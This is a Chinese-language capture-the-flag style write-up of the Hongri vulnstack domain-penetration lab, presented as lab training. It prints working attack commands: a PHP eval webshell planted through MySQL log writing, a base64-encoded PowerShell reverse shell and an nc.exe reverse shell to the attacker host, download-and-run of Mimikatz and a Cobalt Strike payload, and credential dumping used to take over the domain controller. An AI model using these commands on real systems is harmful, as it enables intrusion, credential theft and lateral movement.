紅日靶機(一) 筆記

Ling-X5發表於2024-09-08

紅日靶機(一)筆記

概述

域滲透靶機,可以練習對域滲透的一些知識,主要還是要熟悉 powershell 語法,powershell 往往比 cmd 的命令列更加強大,而很多滲透開源的指令碼都是 powershell 的。例如 NiShangPowerView 等等。這是域滲透的初學靶機。其中也遇到了一些問題

靶機地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

紅日靶機的預設密碼:hongrisec@2019

我這裡

  • web:192.168.81.239
  • win7: 192.168.52.141
  • 域控: 192.168.52.138

我看的 kali 攻擊機 192.168.81.37

一、nmap 掃描

1)主機發現

sudo nmap -sn 192.168.81.0/24
Nmap scan report for 192.168.81.239
Host is up (0.00047s latency).
MAC Address: 00:0C:29:EC:F8:D6 (VMware)

看到我的靶機 ip 是 192.168.81.239

2)埠掃描

sudo nmap -sT --min-rate 10000 -p- 192.168.81.239
# Nmap 7.93 scan initiated Wed Sep  4 05:56:09 2024 as: nmap -sT --min-rate 10000 -p- -o ports 192.168.81.239
Warning: 192.168.81.239 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.81.239
Host is up (0.00079s latency).
Not shown: 61205 closed tcp ports (conn-refused), 4319 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1028/tcp open  unknown
1029/tcp open  ms-lsa
1230/tcp open  periscope
3306/tcp open  mysql
MAC Address: 00:0C:29:EC:F8:D6 (VMware)

# Nmap done at Wed Sep  4 05:56:21 2024 -- 1 IP address (1 host up) scanned in 12.44 seconds

對埠進行處理

cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ','

賦值給變數

ports=$(cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ',')

3)詳細資訊掃描

這裡在 $ports 處可以使用 tab 鍵顯示變數的值

sudo nmap -sT -sV -sC -O -p$ports 192.168.81.239 -o details
# Nmap 7.93 scan initiated Wed Sep  4 06:01:26 2024 as: nmap -sT -sC -sV -O -p80,135,139,445,1025,1026,1027,1028,1029,1230,3306 -o details 192.168.81.239
Nmap scan report for 192.168.81.239
Host is up (0.00097s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
1025/tcp open  msrpc        Microsoft Windows RPC
1026/tcp open  msrpc        Microsoft Windows RPC
1027/tcp open  msrpc        Microsoft Windows RPC
1028/tcp open  msrpc        Microsoft Windows RPC
1029/tcp open  msrpc        Microsoft Windows RPC
1230/tcp open  msrpc        Microsoft Windows RPC
3306/tcp open  mysql        MySQL (unauthorized)
MAC Address: 00:0C:29:EC:F8:D6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 000c29ecf8d6 (VMware)
|_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-09-04T10:02:28
|_  start_date: 2024-09-04T09:46:14
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: stu1
|   NetBIOS computer name: STU1\x00
|   Domain name: god.org
|   Forest name: god.org
|   FQDN: stu1.god.org
|_  System time: 2024-09-04T18:02:28+08:00

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  4 06:02:39 2024 -- 1 IP address (1 host up) scanned in 73.24 seconds

二、Web 滲透

開啟 WEB 頁面

image-20240904190151295

是一個 php 探針,往下翻

看到有個檢驗 mysql 的按鈕

image-20240904190355871

隨便輸入,開啟 burp 抓包

抓到

image-20240904190503862
sudo vi pass_req

把 http 的 raw 格式貼上進去

POST /l.php HTTP/1.1
Host: 192.168.81.239
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://192.168.81.239
Connection: close
Referer: http://192.168.81.239/l.php
Upgrade-Insecure-Requests: 1

host=localhost&port=3306&login=FUZZ1&password=FUZZ2&act=MySQL%E6%A3%80%E6%B5%8B&funName=

把需要爆破的引數改為 FUZZ 的樣式 : login=FUZZ1&password=FUZZ2

1)密碼爆破

這裡我用的 ffuf 工具,-mode 可以指定爆破模式,-w 也是制定了比較常規的使用者名稱和密碼的弱口令字典

當然喜歡用 burp 也沒關係,看個人喜好吧

sudo ffuf --request pass_req -u http://192.168.81.239 -w /usr/share/SecLists/Usernames/top-usernames-shortlist.txt:FUZZ1 -w /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt:FUZZ2 -fs 14807 -mode clusterbomb

結果:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://192.168.81.239
 :: Wordlist         : FUZZ1: /usr/share/SecLists/Usernames/top-usernames-shortlist.txt
 :: Wordlist         : FUZZ2: /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Origin: http://192.168.81.239
 :: Header           : Connection: close
 :: Header           : Referer: http://192.168.81.239/l.php
 :: Header           : Host: 192.168.81.239
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
 :: Header           : Accept-Encoding: gzip, deflate
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Data             : host=localhost&port=3306&login=FUZZ1&password=FUZZ2&act=MySQL%E6%A3%80%E6%B5%8B&funName=
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 14807
________________________________________________

[Status: 200, Size: 14804, Words: 1464, Lines: 401, Duration: 2136ms]
    * FUZZ1: root
    * FUZZ2: root

:: Progress: [3400/3400] :: Job [1/1] :: 19 req/sec :: Duration: [0:02:59] :: Errors: 0 ::

存在弱口令 root:root

我們寫進憑證裡

echo 'root:root' > creds

2)目錄爆破

拿到了資料庫憑證,而這是一個 phpstudy 的網站,我們進行一下目錄爆破,看看有沒有什麼後臺頁面之類的

sudo gobuster dir -u http://192.168.81.239 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

這裡用的 gobuster 當然很多工具都可以進行目錄爆破比如:feroxbuster ffuf dirb dirsearch wfuzz 等都有相應的功能,只是工具會採用不同的演算法,在我們一個工具沒法走下去的時候,可以嘗試另一個工具,很有可能就會有我們想要的結果

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.81.239
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/%20                  (Status: 403) [Size: 210]
/*checkout*           (Status: 403) [Size: 219]
/phpmyadmin           (Status: 301) [Size: 241] [--> http://192.168.81.239/phpmyadmin/]
/*docroot*            (Status: 403) [Size: 218]
/*                    (Status: 403) [Size: 210]
/con                  (Status: 403) [Size: 212]
/http%3A              (Status: 403) [Size: 214]
/**http%3a            (Status: 403) [Size: 216]
/*http%3A             (Status: 403) [Size: 215]
/aux                  (Status: 403) [Size: 212]
/**http%3A            (Status: 403) [Size: 216]
/%C0                  (Status: 403) [Size: 210]
/%3FRID%3D2671        (Status: 403) [Size: 218]
/devinmoore*          (Status: 403) [Size: 220]
/200109*              (Status: 403) [Size: 216]
/*sa_                 (Status: 403) [Size: 213]
/*dc_                 (Status: 403) [Size: 213]
/%D8                  (Status: 403) [Size: 210]
/%CE                  (Status: 403) [Size: 210]
/%CF                  (Status: 403) [Size: 210]
/%CD                  (Status: 403) [Size: 210]
/%CB                  (Status: 403) [Size: 210]
/%CC                  (Status: 403) [Size: 210]
/%D1                  (Status: 403) [Size: 210]
/%CA                  (Status: 403) [Size: 210]
/%D0                  (Status: 403) [Size: 210]
/%D3                  (Status: 403) [Size: 210]
/%D6                  (Status: 403) [Size: 210]
/%D7                  (Status: 403) [Size: 210]
/%D5                  (Status: 403) [Size: 210]
/%D4                  (Status: 403) [Size: 210]
/%D2                  (Status: 403) [Size: 210]
/%C9                  (Status: 403) [Size: 210]
/%C1                  (Status: 403) [Size: 210]
/%C8                  (Status: 403) [Size: 210]
/%C2                  (Status: 403) [Size: 210]
/%C5                  (Status: 403) [Size: 210]
/%C6                  (Status: 403) [Size: 210]
/%C7                  (Status: 403) [Size: 210]
/%C3                  (Status: 403) [Size: 210]
/%C4                  (Status: 403) [Size: 210]
/%D9                  (Status: 403) [Size: 210]
/%DE                  (Status: 403) [Size: 210]
/%DF                  (Status: 403) [Size: 210]
/%DD                  (Status: 403) [Size: 210]
/%DB                  (Status: 403) [Size: 210]
/phpMyAdmin           (Status: 301) [Size: 241] [--> http://192.168.81.239/phpMyAdmin/]
/login%3f             (Status: 403) [Size: 215]
/%22james%20kim%22    (Status: 403) [Size: 230]
/%22julie%20roehm%22  (Status: 403) [Size: 232]
/%22britney%20spears%22 (Status: 403) [Size: 235]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

phpMyAdmin 頁面,我們訪問一下

image-20240904192705361

輸入剛爆破出來的憑證 root:root 就登陸到資料庫的後臺了

image-20240904193038489

三、獲得立足點

phpmyadmin 後臺 getshell 的方法

  1. 直接在 web 目錄用 select ... into outfile 寫入 webshell (需要有寫許可權)
  2. 利用日誌寫入 webshell

第一種我們執行

SHOW VARIABLES LIKE '%secure%'

看到

image-20240904194641946

secure_file_priv 值為 NULL 禁止寫入檔案,如果這個值為目錄名稱,則可以在指定目錄寫入檔案。
這個值是隻讀變數,只能透過配置檔案修改。

第一種走不通了

第二種 利用日誌檔案

SHOW VARIABLES LIKE 'general%'
image-20240904195113907

general_log: 表示日誌功能的開關,我們可以透過 sql 語句設定它

general_log_file: 它指定了我們日誌生成的絕度路徑

日誌開啟將會記錄我們所有的 sql 語句操作

 set global general_log=on;# 開啟日誌
 
 set global general_log_file='C:/phpStudy/WWW/lingx5.php';# 設定日誌位置為網站目錄

絕對路徑剛開始的 php 探針已經有了,讓我們把全域性日誌記錄開啟

image-20240904200423585

執行

select '<?php @eval($_GET["code"]);?>'

訪問

image-20240904200224427

反彈 shell

真正的攻防中,也是不建議直接菜刀,蟻劍等工具直接連線,應為他們的流量特徵過於明顯,稍不注意就會引起流量監測裝置的告警。而哥斯拉雖然在流量上做了加密,但是它的木馬格式,通訊協議和行為特徵相對固定,如果要用的話還是建議自己在基礎上做二次開發,達到對一些檢測裝置的繞過。

a) 錯誤的嘗試

在 kali 端,安裝 nc.exe,開啟 smbserver 服務,並開啟監聽

下面命令使用 python 在當前資料夾開啟一個名為 share 的 smb 共享目錄

python /usr/share/doc/python3-impacket/examples/smbserver.py share .

監聽埠

nc -lvp 8888

image-20240904211825105

命令注入,訪問連結

http://192.168.81.239/lingx5.php?code=system('\\\\192.168.81.37\\share\\nc.exe -e cmd.exe 192.168.81.37 8888 );

這裡 smb 顯示連線正常。等了半天沒彈回來,有點氣人,我作弊去它的 window7 裡看了看,發現

image-20240904212431033

這臺靶機的 win7 不相容 nc 啊,我試了 64 位和 32 位,都不相容。不過這也是一個思路,告訴給大家,讓大家對 smb 服務有更加深刻的印象

b) 直接命令注入

google 搜尋 :php reverse windows powershell

看了篇文章:https://int0x33.medium.com/from-php-s-hell-to-powershell-heaven-da40ce840da8

用 rlwrap 獲得一個互動性更強的 shell

sudo rlwrap nc -lvp 8888

powershell 建立連線的命令

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.81.37',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

進行 base64 編碼

cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjgxLjM3Jyw4ODg4KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpIg==

因為命令裡的特殊字元的問題,我嘗試著直接輸入或者進行 url 編碼,都沒有反彈不成功,所以就用 base64 編碼,再用 php 函式的 base64_decode()方法解碼,避免特殊字元帶來的干擾

訪問連結

http://192.168.81.239/lingx5.php?code=system(base64_decode("cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjgxLjM3Jyw4ODg4KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpIg==")); 

成功彈回 shell

image-20240905085444553

撞大運了彈回來直接就是 system 許可權的使用者,省的提權了

獲得 shell,先改編碼格式

chcp 65001

四、域資訊蒐集

檢視網路卡
ipconfig /all
image-20240905091531456 image-20240905091609880

發現一塊 192.168.52.0 網段的網路卡,應該就是域對應的內網網路卡,本機的 hostname 和域的資訊也可以看到

系統資訊
systeminfo
image-20240905091928827

看到 domian 欄位是 god.org 代表這是域內的機器。

普通機器的預設欄位是:WORKGROUP

也可以看到機器打過補丁的一些資訊,還有網路卡資訊

路由資訊
route pirnt
image-20240905091322341
其他主機資訊
net view
image-20240905092230684
檢視域管理員
image-20240905092951993

五、域滲透

我們透過資訊收集,知道了域控主機是 owa,域名為 god.org

檢視域控主機 ip

ping owa.god.org
image-20240905094056717

看到域控 ip 為 192.168.52.138

使用 mimikatz 進行密碼抓取

1)上傳 Invoke-mimikatz.ps1

Invoke-mimikatz.ps1 連線:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

開啟 http 服務

php -S 0:80

檢視機器的 powershell 版本資訊

$PSVersionTable.PSVersion

因為 powershell3.0 前後的命令有些許的差別

image-20240905102653425

目標機器上的 powershell 是 2.0 版本的 而 Invoke-WebRequest cmdlet 是從 PowerShell 3.0 開始引入的

我們使用.NET 類 System.Net.WebClient 來實現下載功能

powershell -command "& {(New-Object System.Net.WebClient).DownloadFile('http://192.168.81.37/Invoke-Mimikatz.ps1','c:\program files\Invoke-Mimikatz.ps1')}"
image-20240905140642822

在 http 服務處看到上傳成功

上傳到了 c:\program files 目錄下

cd c:\'program files'
dir
image-20240905140800334

看到上傳成功了

當然在 mimikatz 也是需要做免殺的,不然對它的操作也是會觸發防毒軟體的

2)執行 mimikatz

在 powershell 中執行 Invoke-Mimikatz.ps1 首先我們要解除執行策略

Get-ExecutionPolicy

Restricted:不允許任何指令碼執行。

AllSigned:只執行由受信任的釋出者簽名的指令碼。

RemoteSigned:本地建立的指令碼可以執行,遠端下載的指令碼必須是簽名的。

Unrestricted:允許所有指令碼執行,但執行從網際網路下載的指令碼時會有警告。

我們設定為 RemoteSigned 即可

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

image-20240905142321237

當然也可是使用 Bypass 這個引數進行單次命令的繞過

匯入

Import-moudle .\Invoke-Mimikatz.ps1

載入

.\Invoke-Mimikatz.ps1

執行

Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"

沒有反應了

理論上 應該是可以正常抓取密碼的,這臺靶機我打著也有很多問題。

嘗試解決問題(失敗)

覺得會不會是用 php 執行程式碼返回來的 powershell 不是很穩定導致的

我們用 nishang 的 tcp 的指令碼,反彈回來的會不會更加穩定呢?嘗試用 nishang 反彈

sudo apt install nishang

輸入命令 nishang 就可以看到目錄

nishang
cd Shells

看到 Invoke-PowerShellTcp.ps1 檔案

sudo vi Invoke-PowerShellTcp.ps1

在它的檔案底部加上反彈 shell 的語句

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.81.37 -Port 4444
image-20240905183220791

就是等他載入到記憶體中去執行反彈 shell 的邏輯

kali 監聽,同時開啟 http 服務

nc -lvp 4444

php -S 0:80

在命令列執行

powershell -command "& {(new-object system.net.webclient).downloadfile('http://192.168.81.37/Invoke-PowerShellTcp.ps1','c:\Invoke-PowerShellTcp.ps1')}" ; c:\Invoke-PowerShellTcp.ps1
image-20240905191100176

下載成功,收到反彈 shell,但是和之前的 shell 是一樣的,還是不能執行 mimikatz.ps1

3)更換思路(使用 cobalstrike)

啟動 cs

./teamserver localhost 123456
./cobalstrike

生成木馬,並上傳

powershell -ExecutionPolicy Bypass -command "& {(New-Object System.Net.WebClient).DownloadFile('http://192.168.81.37/artifact.exe', 'C:\Users\Public\artifact.exe')}"

image-20240908140727778

啟動 artifact.exe

cmd.exe /c ".\artifact.exe" 

image-20240908141454607

成功上線

image-20240908141543698

埠掃描

image-20240908141817252

image-20240908141906193

看到

image-20240908142258719

image-20240908142321629

執行 mimikatz

image-20240908142720247

image-20240908142808061

看到域控 owa 的密碼 hongrisec@2022

六、獲得域控

已經有了域控管理員的密碼拿到域控就簡單了

在 cs 上建立 SMB 監聽

image-20240908143836586

直接 jump

image-20240908143908306

看到域控上線了

image-20240908144157561

域控拿到了,這個域我就隨便走了

跳到 141 主機

image-20240908144330710

image-20240908144527049

成功拿下三臺

image-20240908145009742

總結

  1. 透過 nmap 掃描看到目標 web 伺服器開放了 80,135,3306 等埠,透過對 80 埠的目錄爆破,弱口令的 fuzz,發現了 phpmyadmin 的後臺,併成功登陸。
  2. 利用資料庫的日誌輸出,寫入了一句話木馬,成功反彈了 powershell 的命令列,因為 powershell2.0 命令列的缺陷,在域滲透資訊收集的時候遇到了 mimikatz 不能使用的情況,嘗試解決但失敗了。
  3. 最後使用了 cobalstrike 的整合化工具完成了對域控的橫向移動,成功獲得域控管理員許可權。

相關文章